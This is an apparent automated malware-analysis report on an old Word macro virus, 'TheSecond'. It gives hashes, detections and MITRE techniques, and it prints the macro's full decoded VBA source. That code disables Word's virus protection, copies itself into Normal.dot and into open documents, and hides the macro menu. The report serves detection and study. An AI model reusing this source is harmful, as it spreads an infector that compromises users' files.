Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db1c353b09aec271…

MALICIOUS

Office (OLE)

39.0 KB Created: 2000-09-15 08:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 39208f2d0b3aea2250cf2a189b72ca48 SHA-1: b1a17b5f8afb21e1ca604b577590314ecaf223c8 SHA-256: db1c353b09aec2716883be186aaff123a76ddb86c82f46cc742e20024afb76c4
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro named 'TheSecond'. This macro is designed to copy itself into the user's Normal.dot template, a common technique for establishing persistence. The presence of 'OLE_LEGACY_WORDBASIC_MACRO_VIRUS' and 'OLE_VBA_AUTOCLOSE' heuristics further supports this. The macro attempts to export itself to 'TheSecond.tmp' and import it into the Normal template, indicating a self-propagation mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.TheSecond-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheSecond-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7862 bytes
SHA-256: 6f14785716ea5a04314d96f1307c835ad67ed6e41aa8c1791ee7cd0e8d912616
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "TheSecond"
Sub AutoClose()
  Copyrights = "The Second, 2000"
  NickName = "Revenger"
  Options.VirusProtection = False
  flag = False
  If Documents.Count >= 1 Then
    counter = NormalTemplate.VBProject.VBComponents.Count
    For I = 1 To counter
      If NormalTemplate.VBProject.VBComponents.Item(I).Name = "TheSecond" Then flag = True
    Next I
    x = Application.StartupPath + "\TheSecond.tmp"
    If Not flag Then
      ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
      NormalTemplate.VBProject.VBComponents.Import (x)
    End If
    flag = False
    infected = False
    havesave = ActiveDocument.Saved
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
      If ActiveDocument.VBProject.VBComponents.Item(I).Name = "TheSecond" Then flag = True
    Next I
    If Not flag Then
      NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
      ActiveDocument.VBProject.VBComponents.Import (x)
      infected = True
    End If
    If havesave And infected And (Left(ActiveDocument.Name, 8) <> "Документ") Then Dialogs(wdDialogFileSaveAs).Execute
    End If
    ActiveDocument.Saved = havesave
    
End Sub
Sub FilePrint()
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Нюбин"
    .Replacement.Text = "Нудин"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
  Dialogs(wdDialogFilePrint).Show
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Нудин"
    .Replacement.Text = "Нюбин"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
End Sub
Sub ToolsMacro()
  Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
  MsgBox ("Нет загруженных макросов!")
End Sub

' Processing file: /opt/analyzer/scan_staging/a0567616eaa44035acb3b8ada4e4b9ee.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1182 bytes
' Macros/VBA/TheSecond - 3667 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	LitStr 0x0010 "The Second, 2000"
' 	St Copyrights 
' Line #2:
' 	LitStr 0x0008 "Revenger"
' 	St NickName 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	LitVarSpecial (False)
' 	St flag 
' Line #5:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Ge 
' 	IfBlock 
' Line #6:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St counter 
' Line #7:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld counter 
' 	For 
' Line #8:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #9:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #10:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x000E "\TheSecond.tmp"
' 	Add 
' 	St x 
' Line #11:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #12:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #13:
' 	Ld x 
' 	Paren 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitVarSpecial (False)
' 	St flag 
' Line #16:
' 	LitVarSpecial (False)
' 	St
... (truncated)

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